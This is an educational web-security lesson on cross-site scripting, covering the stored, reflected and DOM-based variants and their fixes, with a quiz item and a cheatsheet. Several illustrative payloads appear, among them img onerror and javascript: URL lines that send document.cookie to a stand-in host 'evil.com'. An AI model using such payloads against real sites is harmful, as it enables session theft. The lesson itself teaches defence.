A signed cookie and a same-origin script have the exact same privileges to the browser — which is why an attacker doesn't need to steal your password to compromise an account, they just need ONE unescaped innerHTML assignment. This topic walks the three XSS variants (stored, reflected, DOM-based) through a real injection→execution→exfiltration chain, confirmed against actual browser behavior, then the exact fix that neutralizes each one.
xssinjectioninnerHTMLsanitizationowasp
Knowledge Check
20 questions · pass at 70%
0/20
mediummcq
1. What is the fundamental mechanic that makes XSS possible?
Interview Questions
2 questions
Cheatsheet
Download-ready reference
Cheatsheet
XSS core mechanic: untrusted data → dangerous sink (innerHTML, onerror=,
<script>, eval, document.write) the browser executes/parses as code.
No <script> tag required — onerror/onload attributes execute JS too.
THREE VARIANTS (same mechanic, different data path):
STORED → persisted server-side, fires for EVERY viewer (highest severity)
REFLECTED → from current request, needs a per-victim crafted link
DOM-BASED → source AND sink both client-side (location.hash, etc.) —
may NEVER reach the server, won't show in server logs
FIX: escape/encode at the point of OUTPUT, matched to the actual sink
context (HTML text vs attribute vs URL vs JS string) — not once
generically at input time.
textContent → literal text, NEVER parsed as HTML (best when
you don't need any formatting preserved)
Allowlist sanitizer → DOMPurify etc., when you DO need some real HTML
(rich text) — denylist regex filtering is NOT
reliable (misses onerror, svg onload, etc.)
httpOnly cookies: removes session cookie from document.cookie — blocks
the most direct theft path even if a script does get injected.
Signing a cookie/JWT does NOT stop JS from reading it — only httpOnly does.
CSP (script-src, no 'unsafe-inline'): independent defense-in-depth layer,
can block payload EXECUTION even if an escaping bug slips through.
React JSX escapes {value} by default — dangerouslySetInnerHTML is the
explicit, named opt-out back to raw innerHTML risk.
The beginner framing: a page that takes text from a user (a comment, a search query, a URL parameter) and puts it back on the page — without being careful about how — can be tricked into running an attacker's own JavaScript, inside the victim's browser, with the victim's own login session.
The precise mental model: Cross-Site Scripting (XSS) happens whenever attacker-controlled data reaches a sink that the browser interprets as executable code or markup, rather than as inert text. The browser has no concept of "this string came from an untrusted user" — once a string lands in innerHTML, an inline event handler, or a <script> tag, it's just HTML/JS to be parsed and run, indistinguishable from code the developer wrote themselves. That's the entire vulnerability class in one sentence: trusted execution context + untrusted content, with no boundary between them.
// The vulnerable pattern, in its simplest form:const commentEl = document.getElementById("comment");commentEl.innerHTML = userComment; // whatever the user typed, parsed as HTML
If userComment is <img src=x onerror="fetch('//evil.com/steal?c='+document.cookie)">, the browser tries to load src="x", fails, and — because onerror is a real JavaScript event handler attribute — runs the attacker's fetch() call, in the page's own origin, with access to that origin's cookies (unless they're httpOnly), localStorage, and live DOM.
Step through the full injection → execution → exfiltration → fix chain:
Unescaped input → innerHTML sink → script executes in the victim's own origin
The page takes attacker-controlled text and assigns it to innerHTML — the browser doesn't know this string came from an attacker; it just parses it as markup, same as any other HTML.
The three variants — where the untrusted data comes from and how long it persists#
// STORED XSS: the payload is saved server-side (e.g. a comment in a database)// and served to EVERY visitor who views that page — highest blast radius.await db.comments.insert({ text: "<img src=x onerror=steal()>" });// later, rendered for every viewer:el.innerHTML = comment.text; // every single viewer executes the attacker's script// REFLECTED XSS: the payload comes from the CURRENT request (a query param, form field)// and is immediately reflected back into the response — requires tricking ONE victim// into clicking a crafted link.// https://shop.com/search?q=<script>steal()</script>el.innerHTML = `Results for: ${new URLSearchParams(location.search).get(
All three variants share the exact same underlying mechanic (untrusted string → dangerous sink) — they differ only in where the untrusted data originates and how it reaches the sink, which matters for how you find and fix them: stored/reflected need server-side output encoding at the point of response; DOM-based needs the same discipline entirely on the client, and won't show up in server logs at all since the payload may never leave the browser.
Confirmed: signed cookies don't help here, but httpOnly does#
A JWT session cookie being cryptographically signed (see the signing discipline in most auth setups) says nothing about whether client-side JavaScript can read it. document.cookie returns every cookie not marked httpOnly — a stolen non-httpOnly cookie is just as usable by an attacker as the real login. Marking the session cookie httpOnly removes it from document.cookie entirely, which is why it's a real (if partial) XSS mitigation, not just a CSRF one.
Predict what happens before checking the solution.
const searchTerm = new URLSearchParams(location.search).get("q") ?? "";document.getElementById("results").innerHTML = `<h2>Results for "${searchTerm}"</h2>`;
A user visits https://shop.com/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E (URL-decoded: <img src=x onerror=alert(1)>). Which XSS variant is this, and does it require anything to be stored anywhere?
Solution
This is reflected XSS. The payload lives entirely in the URL's query string — the server (or client script) takes q straight from the current request and writes it into innerHTML with no escaping. Nothing is stored anywhere; the attack only fires for whoever actually clicks (or is tricked into visiting) this specific crafted URL — typically delivered via a phishing link, a malicious ad, or a shortened URL. Compare to stored XSS, where the same <img onerror> payload saved into a database would fire for every single visitor to that page, with no crafted link required at all.
The mechanism is exactly this simple: replace the five characters that give a string HTML meaning (< > & " ') with their inert entity equivalents before the string reaches any HTML-parsing sink. Every production sanitization library (DOMPurify, a framework's built-in escaping) is a more complete, context-aware version of this same idea — HTML-escaping alone isn't sufficient inside <script> blocks, URL attributes, or CSS, each of which needs its own escaping rules, which is why hand-rolling this for a real app is a mistake even though the core mechanism is this small.
React's JSX escapes all interpolated values by default — <p>{comment}</p> is safe against exactly this attack, which is why React apps are structurally harder to XSS than raw DOM manipulation (see JSX) — the escape hatch is dangerouslySetInnerHTML, whose deliberately alarming name is the framework's way of flagging "you are now responsible for what this guide just covered." A Content Security Policy adds a second, independent layer that can stop an XSS payload from executing even if the escaping step is missed somewhere — covered mechanically in Content Security Policy (CSP), including the exact browser console behavior when it blocks an injected script. And once an attacker has a working script-execution primitive, CSRF becomes largely moot as a separate concern, since script execution in-origin can already do anything the user's own JS could — XSS is frequently the more powerful primitive of the two.
1. Assuming a framework's default escaping covers every sink#
// React escapes THIS automatically:<div>{userComment}</div>// but NOT this — dangerouslySetInnerHTML is an explicit opt-out:<div dangerouslySetInnerHTML={{ __html: userComment }} /> // ❌ back to raw innerHTML risk
Framework default-escaping only protects the sinks it actually mediates — any raw-HTML escape hatch (dangerouslySetInnerHTML, Vue's v-html, a raw innerHTML call inside a useEffect) bypasses it completely and needs its own explicit sanitization.
// HTML-escaping a value that's actually going into a URL attribute:el.innerHTML = `<a href="${escapeHtml(userUrl)}">link</a>`; // ❌// userUrl = "javascript:fetch('//evil.com/steal?c='+document.cookie)"// escapeHtml() doesn't touch this — it's a VALID href value, no <, >, or & involved
HTML-entity escaping only protects HTML-text and attribute-value contexts from tag/attribute injection — it does nothing to stop a javascript: URL scheme from executing when a user clicks the link. URL-context values need URL/protocol validation (an allowlist of http:/https:), not HTML escaping.
// "Removing script tags" as the fix:const cleaned = userInput.replace(/<script.*?<\/script>/gi, ""); // ❌// bypassed trivially: <img src=x onerror=steal()> — no <script> tag at all
Denylisting specific tags/patterns is a losing game — there are dozens of executable-context sinks (onerror, onload, <svg onload>, javascript: URLs, <iframe srcdoc>) and attackers only need to find one the denylist missed. Encode/escape at the sink, or use an allowlist-based sanitizer — never try to "clean" untrusted HTML by pattern-matching known-bad substrings.
Escape at the point of output, based on the actual sink context (HTML text, HTML attribute, URL, JS string, CSS) — not once, generically, at input time; the same value might legitimately need different escaping depending on where it's rendered.
Prefer textContent over innerHTML whenever the content is genuinely plain text — it removes the entire vulnerability class for that assignment, since the browser never parses it as markup at all.
Mark session cookies httpOnly so a successful XSS can't simply read document.cookie and exfiltrate the session directly — a real, if partial, mitigation for exactly the impact shown above.
Deploy a Content Security Policy as defense-in-depth (see Content Security Policy (CSP)) — it can block payload execution even when an escaping mistake slips through code review.
(a rich-text comment, markdown preview) — hand-rolled sanitization reliably misses edge cases a dedicated, security-audited library already handles.
Escaping/encoding a string is a cheap, linear-time operation — there's no real performance argument for skipping it; the "we'll sanitize later for speed" tradeoff is not a real one at typical string sizes.
Sanitizer libraries like DOMPurify do meaningfully more work than a plain regex escape (they parse and rebuild a DOM tree to strip dangerous constructs) — reserve them for the cases that actually need to preserve some HTML (rich text), and use plain escaping (or textContent) for the much more common case of pure-text output, where a full sanitizer pass is unnecessary overhead.
"q"
)
}`
;
// DOM-based XSS: the payload never touches the server at all — a CLIENT-SIDE
// script reads something attacker-controlled (URL fragment, referrer) and
// writes it to a dangerous sink, entirely in the browser.